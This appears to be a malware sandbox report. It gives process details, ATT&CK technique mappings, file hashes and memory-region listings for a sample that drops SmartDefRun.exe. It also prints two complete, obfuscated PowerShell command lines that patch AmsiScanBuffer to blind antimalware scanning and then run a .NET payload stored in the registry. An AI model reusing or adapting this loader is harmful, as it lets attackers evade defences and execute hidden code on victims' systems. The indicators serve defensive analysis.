C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:ROrZclFhEFiZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nbQhrHSHZLNMZk,[Parameter(Position=1)][Type]$UOrWAsFORO)$MztLJmjOlat=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'l'+'e'+'ct'+[Char](101)+''+[Char](100)+'D'+'e'+'l'+[Char](101)+''+'g'+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'em'+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+'T'+'y'+[Char](112)+''+'e'+'',''+'C'+'la'+'s'+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+','+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+'d'+''+','+'An'+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+'t'+'o'+'C'+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$MztLJmjOlat.DefineConstructor('R'+'T'+''+[Char](83)+''+'p'+''+'e'+''+'c'+'i'+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+'H'+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'ig'+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nbQhrHSHZLNMZk).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$MztLJmjOlat.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](72)+'id'+'e'+''+'B'+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+'w'+[Char](83)+'l'+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$UOrWAsFORO,$nbQhrHSHZLNMZk).SetImplementationFlags('R'+'u'+''+[Char](110)+'t'+'i'+''+[Char](109)+''+'e'+',M'+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $MztLJmjOlat.CreateType();}$BTgImUiitWJZD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+'oft'+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+'2'+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+'e'+''+[Char](66)+'TgI'+'m'+''+[Char](85)+''+'i'+''+[Char](105)+'t'+'W'+''+[Char](74)+''+[Char](90)+''+'D'+'');$vMSmEyzzvHEFbN=$BTgImUiitWJZD.GetMethod(''+'v'+''+'M'+'S'+[Char](109)+''+[Char](69)+''+[Char](121)+''+[Char](122)+'zv'+[Char](72)+''+[Char](69)+''+[Char](70)+'b'+[Char](78)+'',[Reflection.BindingFlags]''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$oNeVAQAfLROoyPtxXXa=ROrZclFhEFiZ @([String])([IntPtr]);$DaZchqnYOBSCvvbzCyXnph=ROrZclFhEFiZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rZhUOXSrgaC=$BTgImUiitWJZD.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+'n'+'el32'+[Char](46)+''+'d'+'ll')));$xyqdZiCAVewqtt=$vMSmEyzzvHEFbN.Invoke($Null,@([Object]$rZhUOXSrgaC,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+'L'+[Char](105)+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$iAJvrdFNTAQPDmrcm=$vMSmEyzzvHEFbN.Invoke($Null,@([Object]$rZhUOXSrgaC,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'al'+'P'+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$qMykyAt=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xyqdZiCAVewqtt,$oNeVAQAfLROoyPtxXXa).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+'l'+'');$ribFxxcaFTHbGjJLc=$vMSmEyzzvHEFbN.Invoke($Null,@([Object]$qMykyAt,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+'S'+'c'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+'r'+'')));$iPEPeNgeeN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iAJvrdFNTAQPDmrcm,$DaZchqnYOBSCvvbzCyXnph).Invoke($ribFxxcaFTHbGjJLc,[uint32]8,4,[ref]$iPEPeNgeeN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ribFxxcaFTHbGjJLc,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iAJvrdFNTAQPDmrcm,$DaZchqnYOBSCvvbzCyXnph).Invoke($ribFxxcaFTHbGjJLc,[uint32]8,0x20,[ref]$iPEPeNgeeN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'d'+'i'+'a'+''+[Char](108)+'e'+[Char](114)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NrUybOPtYCNt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vbFeDtPehIzbQx,[Parameter(Position=1)][Type]$tzPBIJSYBm)$DaaJVgNAWCi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'M'+'e'+''+[Char](109)+''+'o'+'r'+[Char](121)+''+'M'+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+''+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+''+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+','+'A'+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+'a'+'s'+''+'s'+''+','+''+'A'+''+'u'+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$DaaJVgNAWCi.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+'Pu'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vbFeDtPehIzbQx).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$DaaJVgNAWCi.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+',H'+'i'+'d'+[Char](101)+''+'B'+'yS'+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+'w'+'S'+'l'+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$tzPBIJSYBm,$vbFeDtPehIzbQx).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $DaaJVgNAWCi.CreateType();}$LatkEBuppdXsZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+'t'+'em'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+'n'+''+[Char](51)+'2'+[Char](46)+'U'+'n'+''+[Char](115)+'af'+[Char](101)+''+[Char](76)+''+[Char](97)+''+[Char](116)+''+[Char](107)+'E'+[Char](66)+''+'u'+''+[Char](112)+''+[Char](112)+''+[Char](100)+''+[Char](88)+''+'s'+'Z');$niQEYLacMzHYcQ=$LatkEBuppdXsZ.GetMethod(''+[Char](110)+''+[Char](105)+''+[Char](81)+''+'E'+''+[Char](89)+''+[Char](76)+''+[Char](97)+'c'+[Char](77)+''+[Char](122)+''+[Char](72)+'Y'+[Char](99)+'Q',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+'l'+'ic'+[Char](44)+''+'S'+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$syJkobIomvMhgjSwXJN=NrUybOPtYCNt @([String])([IntPtr]);$qCgytmKRxCfPYOTUBiIgym=NrUybOPtYCNt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$czixxbZFLAR=$LatkEBuppdXsZ.GetMethod('Ge'+[Char](116)+''+[Char](77)+'o'+'d'+'ul'+[Char](101)+''+[Char](72)+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+'e'+'l'+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$JpMYcWovkJAjOR=$niQEYLacMzHYcQ.Invoke($Null,@([Object]$czixxbZFLAR,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+'A')));$dwDnphzqrElzhFZJc=$niQEYLacMzHYcQ.Invoke($Null,@([Object]$czixxbZFLAR,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+'tec'+'t'+'')));$moLdyeg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JpMYcWovkJAjOR,$syJkobIomvMhgjSwXJN).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$bFEvrWLsPGHzVSOHg=$niQEYLacMzHYcQ.Invoke($Null,@([Object]$moLdyeg,[Object](''+'A'+''+'m'+'s'+'i'+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+'B'+'u'+[Char](102)+''+'f'+''+[Char](101)+'r')));$raFesRyrXI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dwDnphzqrElzhFZJc,$qCgytmKRxCfPYOTUBiIgym).Invoke($bFEvrWLsPGHzVSOHg,[uint32]8,4,[ref]$raFesRyrXI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bFEvrWLsPGHzVSOHg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dwDnphzqrElzhFZJc,$qCgytmKRxCfPYOTUBiIgym).Invoke($bFEvrWLsPGHzVSOHg,[uint32]8,0x20,[ref]$raFesRyrXI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+'e'+'r'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
124edf3ad57549a6e475f3bc4e6cfe51

SHA1
80f5187eeebb4a304e9caa0ce66fcd78c113d634

SHA256
638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

SHA512
b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
3ffd3484f87bfbbe1441e68599d0aded

SHA1
780cd7e6ec0828ed697180f30796ffab1f065ab9

SHA256
35fdbf17bada82b9acb7f89262606873608120c108cbe9bf188f7474602de478

SHA512
420162bf80e61a0448e460bfca367e0315f87ef5ddccdde7bd94ba03afd5eb105d2ab6c8fdcba6b04f9722caa1868df6547c6d49a956d2be1144f80f49e9d2be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c697637a9b17f577fccd7e83a5495810

SHA1
04e6054584786b88994b0e0a871562227fe2a435

SHA256
54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164

SHA512
66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
memory/608-205-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/620-188-0x00007FFF39AB0000-0x00007FFF3A571000-memory.dmp

Filesize
10.8MB

Download
memory/620-189-0x000001D377C19000-0x000001D377C1F000-memory.dmp

Filesize
24KB

Download
memory/620-184-0x00007FFF39AB0000-0x00007FFF3A571000-memory.dmp

Filesize
10.8MB

Download
memory/620-187-0x000001D377C19000-0x000001D377C1F000-memory.dmp

Filesize
24KB

Download
memory/660-206-0x00007FFF17CF0000-0x00007FFF17D00000-memory.dmp

Filesize
64KB

Download
memory/912-202-0x00007FFF56950000-0x00007FFF56A0E000-memory.dmp

Filesize
760KB

Download
memory/912-204-0x00007FFF39CB0000-0x00007FFF3A771000-memory.dmp

Filesize
10.8MB

Download
memory/912-193-0x00007FFF57C70000-0x00007FFF57E65000-memory.dmp

Filesize
2.0MB

Download
memory/912-201-0x00007FFF57C70000-0x00007FFF57E65000-memory.dmp

Filesize
2.0MB

Download
memory/912-192-0x00007FFF39CB0000-0x00007FFF3A771000-memory.dmp

Filesize
10.8MB

Download
memory/912-194-0x00007FFF56950000-0x00007FFF56A0E000-memory.dmp

Filesize
760KB

Download
memory/1824-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1824-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3692-171-0x000001CC7BF40000-0x000001CC7BF46000-memory.dmp

Filesize
24KB

Download
memory/3692-173-0x00007FFF39AB0000-0x00007FFF3A571000-memory.dmp

Filesize
10.8MB

Download
memory/3692-168-0x000001CC7BF00000-0x000001CC7BF0A000-memory.dmp

Filesize
40KB

Download
memory/3692-169-0x000001CC7BF60000-0x000001CC7BF7A000-memory.dmp

Filesize
104KB

Download
memory/3692-170-0x000001CC7BF10000-0x000001CC7BF18000-memory.dmp

Filesize
32KB

Download
memory/3692-166-0x000001CC7BEF0000-0x000001CC7BEFA000-memory.dmp

Filesize
40KB

Download
memory/3692-172-0x000001CC7BF50000-0x000001CC7BF5A000-memory.dmp

Filesize
40KB

Download
memory/3692-167-0x000001CC7BF20000-0x000001CC7BF3C000-memory.dmp

Filesize
112KB

Download
memory/3692-165-0x000001CC7BE10000-0x000001CC7BE2C000-memory.dmp

Filesize
112KB

Download
memory/3692-164-0x00007FFF39AB0000-0x00007FFF3A571000-memory.dmp

Filesize
10.8MB

Download
memory/3692-161-0x000001CC79180000-0x000001CC791A2000-memory.dmp

Filesize
136KB

Download
memory/4412-199-0x00007FFF57C70000-0x00007FFF57E65000-memory.dmp

Filesize
2.0MB

Download
memory/4412-195-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4412-198-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4412-200-0x00007FFF56950000-0x00007FFF56A0E000-memory.dmp

Filesize
760KB

Download
memory/4412-203-0x00007FFF57C70000-0x00007FFF57E65000-memory.dmp

Filesize
2.0MB

Download
memory/4624-153-0x0000000007080000-0x0000000007116000-memory.dmp

Filesize
600KB

Download
memory/4624-151-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

Filesize
104KB

Download
memory/4624-150-0x0000000007400000-0x0000000007A7A000-memory.dmp

Filesize
6.5MB

Download
memory/4624-149-0x0000000006050000-0x000000000606E000-memory.dmp

Filesize
120KB

Download
memory/4624-148-0x0000000073AD0000-0x0000000073B1C000-memory.dmp

Filesize
304KB

Download
memory/4624-147-0x0000000006070000-0x00000000060A2000-memory.dmp

Filesize
200KB

Download
memory/4624-146-0x0000000005A90000-0x0000000005AAE000-memory.dmp

Filesize
120KB

Download
memory/4624-145-0x0000000005430000-0x0000000005496000-memory.dmp

Filesize
408KB

Download
memory/4624-152-0x0000000006E30000-0x0000000006E3A000-memory.dmp

Filesize
40KB

Download
memory/4624-154-0x0000000006FF0000-0x0000000006FFE000-memory.dmp

Filesize
56KB

Download
memory/4624-155-0x0000000007040000-0x000000000705A000-memory.dmp

Filesize
104KB

Download
memory/4624-156-0x0000000007030000-0x0000000007038000-memory.dmp

Filesize
32KB

Download
memory/4624-157-0x0000000007120000-0x0000000007142000-memory.dmp

Filesize
136KB

Download
memory/4624-144-0x0000000005310000-0x0000000005376000-memory.dmp

Filesize
408KB

Download
memory/4624-143-0x0000000004BD0000-0x0000000004BF2000-memory.dmp

Filesize
136KB

Download
memory/4624-158-0x0000000008030000-0x00000000085D4000-memory.dmp

Filesize
5.6MB

Download
memory/4624-142-0x0000000004CE0000-0x0000000005308000-memory.dmp

Filesize
6.2MB

Download
memory/4624-141-0x00000000024E0000-0x0000000002516000-memory.dmp

Filesize
216KB

Download